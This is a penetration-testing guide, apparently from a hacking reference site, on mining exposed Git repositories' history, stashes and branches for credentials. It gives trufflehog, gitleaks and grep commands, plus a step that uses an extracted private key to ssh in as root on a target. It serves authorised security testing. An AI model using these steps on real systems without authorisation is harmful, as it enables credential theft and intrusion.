# Git History Secret Mining

> Exploits exposed Git repositories to extract secrets, credentials, and sensitive data buried in commit history using automated mining tools and manual analysis.

- **URL:** https://hackindex.io/services/git-daemon/exploitation/git-history-secret-mining
- **Path:** Git daemon > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/git-daemon/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-08-11

Git history retains every version of every file ever committed: including credentials deleted last week, tokens rotated last month, and passwords removed years ago. Secret mining scans the complete commit graph across all branches and tags, not just the current working tree. Even a clean repository head can have a rich history of secrets. Run this after cloning the full repository with all branches via [repository cloning](https://hackindex.io/services/git-daemon/exploitation/git-repository-cloning).

Branches other than `main` or `master` are the most overlooked. Developers push experimental work, hotfixes, and feature branches that never get cleaned up. Each branch carries its own commit history. Tags are equally important: release tags often pin commits from before a secret rotation. The object store is cumulative, so a `git clone` with `--mirror` or `--bare` pulls every reachable object. Start with automated tools to surface obvious hits. Then use manual searches to hunt for patterns specific to the target.

- Automated Scanning with trufflehog
- Scan with gitleaks
- Manual Search Through All Commits
- Check Stashes
- Search for Private Keys
- Full Automated Sweep

## Automated Scanning with trufflehog

trufflehog scans every commit across all branches for high-entropy strings and known secret patterns. It validates credentials against live APIs where possible. A "verified" result means the secret is still active: prioritize those immediately. An unverified result still warrants manual review since credential reuse across systems is common. The `Commit` field tells you where in history the secret appeared. Use `git show <commit>` to see the full diff and understand what else changed at that point. The `Filename` field identifies which file contained the secret, which helps locate related configuration files worth reviewing.

```bash
# Scan directly from the git:// URL without cloning first
trufflehog git git://$TARGET_IP/repo.git
# Found verified result >>
# Detector Type: AWS
# Decoder Type: PLAIN
# Raw result: AKIAIOSFODNN7EXAMPLE
# Commit: b2c3d4e5f6
# Filename: config/aws.yml
# Line: 3
```

```bash
# Scan a locally cloned repo
trufflehog git file:///tmp/git_loot/repo --json | tee /tmp/trufflehog_results.json
```

## Scan with gitleaks

gitleaks is faster on large repositories and has solid rule coverage for common secret types. The JSON report includes the file path, commit hash, line number, and matched string. Focus on matches in `.env` files, config directories, and deployment scripts first. Use `git log --follow -p -- <file>` to trace a file's full change history across renames. gitleaks does not validate credentials against live APIs. Treat every match as a candidate until verified manually. Cross-reference results from both trufflehog and gitleaks: neither tool catches everything on its own.

```bash
gitleaks detect --source /tmp/git_loot/repo --report-format json --report-path /tmp/gitleaks_results.json
cat /tmp/gitleaks_results.json | python3 -m json.tool | grep -iE 'secret|match|file|commit'
# "Secret": "SuperSecret123!",
# "File": ".env",
# "Commit": "a1b2c3d4",
# "Match": "DB_PASSWORD=SuperSecret123!"
```

## Manual Search Through All Commits

When automated tools miss things or you want targeted searches, use git log to search commit content directly. Lines prefixed with `+` were added in that commit. Lines prefixed with `-` were removed. A credential removed in one commit is still present in the object store and valid until explicitly rotated. When you see a password change sequence (old removed, new added), test both values. The old value often persists in other systems where it was reused. Search commit messages as well. Developers frequently write "remove hardcoded key" or "fix credentials" in commit messages. Those messages point directly at the sensitive change.

```bash
cd /tmp/git_loot/repo
# Search all commit diffs for password patterns
git log -p --all | grep -iE '(password|passwd|secret|api_key|token|credential)[[:space:]]*[=:][[:space:]]*.{4,}' | grep -v '^---\|^+++' | head -30
# +DB_PASSWORD=OldP@ssword2023!
# +API_TOKEN=sk-prod-oldkey123
# -DB_PASSWORD=OldP@ssword2023!
# +DB_PASSWORD=NewP@ssword2024!
```

```bash
# Find commits that modified specific sensitive files
git log --all --oneline -- .env '*.key' '*.pem' 'config/database*'
# a1b2c3d fix: remove hardcoded API key from .env
# b2c3d4e add production database credentials
# c3d4e5f initial commit
```

```bash
# View what a specific commit changed
git show a1b2c3d
# commit a1b2c3d...
# -API_KEY=sk-prod-xK2aB1cD3eF4gH5i
# +API_KEY=REDACTED
```

## Check Stashes

Developers sometimes stash work-in-progress changes that contain incomplete or experimental credentials. Stashes are part of the repo object store and are cloned with the repository. They are frequently forgotten and never cleaned up. The stash description often reveals intent. Entries named "testing new API key" or "temp credentials for debug" are high-value targets. Use `git stash show -p stash@{N}` to view the full diff for each entry. Multiple stash entries are common on active repositories. Check every entry, not just `stash@{0}`. Also check remote tracking branches with `git branch -r`. Some branches exist on the remote but are not fetched by a standard clone.

```bash
cd /tmp/git_loot/repo
git stash list
# stash@{0}: WIP on develop: testing new API key
# stash@{1}: WIP on main: temp credentials for debug
```

```bash
git stash show -p stash@{0}
# +API_KEY=sk-test-newkeyABC123
# +DEBUG_PASSWORD=tempP@ss!
```

## Search for Private Keys

Private keys committed to a repository are among the most critical finds. RSA, EC, and OpenSSH private keys appear in commit diffs. Developers sometimes commit them accidentally or add them for temporary convenience. A key found in history may still unlock the original server if it was never rotated after removal. After extracting a key, check the target's `authorized_keys` files to confirm which accounts it grants access to. Try the key against `root` and any application-level user accounts. Ed25519 and ECDSA keys appear less often than RSA but are equally usable. Check the same commit range for certificate files (`.crt`, `.p12`, `.pfx`). Private keys and certificates are often committed together.

```bash
cd /tmp/git_loot/repo
git log -p --all | grep -A2 'BEGIN.*PRIVATE KEY\|BEGIN RSA\|BEGIN EC'
# +-----BEGIN RSA PRIVATE KEY-----
# +MIIEowIBAAKCAQEA...
```

```bash
# Extract and test any found private key
git show <commit>:.ssh/id_rsa > /tmp/found_key.pem
chmod 600 /tmp/found_key.pem
ssh -i /tmp/found_key.pem root@$TARGET_IP 'id' 2>/dev/null
# uid=0(root) gid=0(root) groups=0(root)
```

## Full Automated Sweep

Combine multiple searches in one pass across all cloned repositories. This approach is useful when a target exposes multiple repos via git-daemon. Sort and deduplicate results before triaging. A credential appearing in multiple separate repositories suggests a shared secret that may grant access to additional services. Use the commit hashes from findings to build a timeline of when credentials were introduced and removed. That timeline shows how recently a secret was rotated and whether the rotation covered all affected systems. Focus on secrets introduced in early commits: those are most likely to have been reused elsewhere and left unchanged.

```bash
for repo_dir in /tmp/git_loot/*/; do
  echo "=== $(basename $repo_dir) ==="
  cd "$repo_dir"
  git log -p --all 2>/dev/null | grep -iE '^\+(password|secret|api.?key|token|aws_|private).*=.{6,}' | sort -u | head -20
done
# === repo ===
# +DB_PASSWORD=SuperSecret123!
# +AWS_SECRET_ACCESS_KEY=wJalr...
# === webapp ===
# +STRIPE_KEY=sk_live_abc123...
```

## References

- [trufflehog](https://github.com/trufflesecurity/trufflehog) - Secret scanning across git history with verified credential detection
- [gitleaks](https://github.com/gitleaks/gitleaks) - Fast git history secret scanning with JSON report output
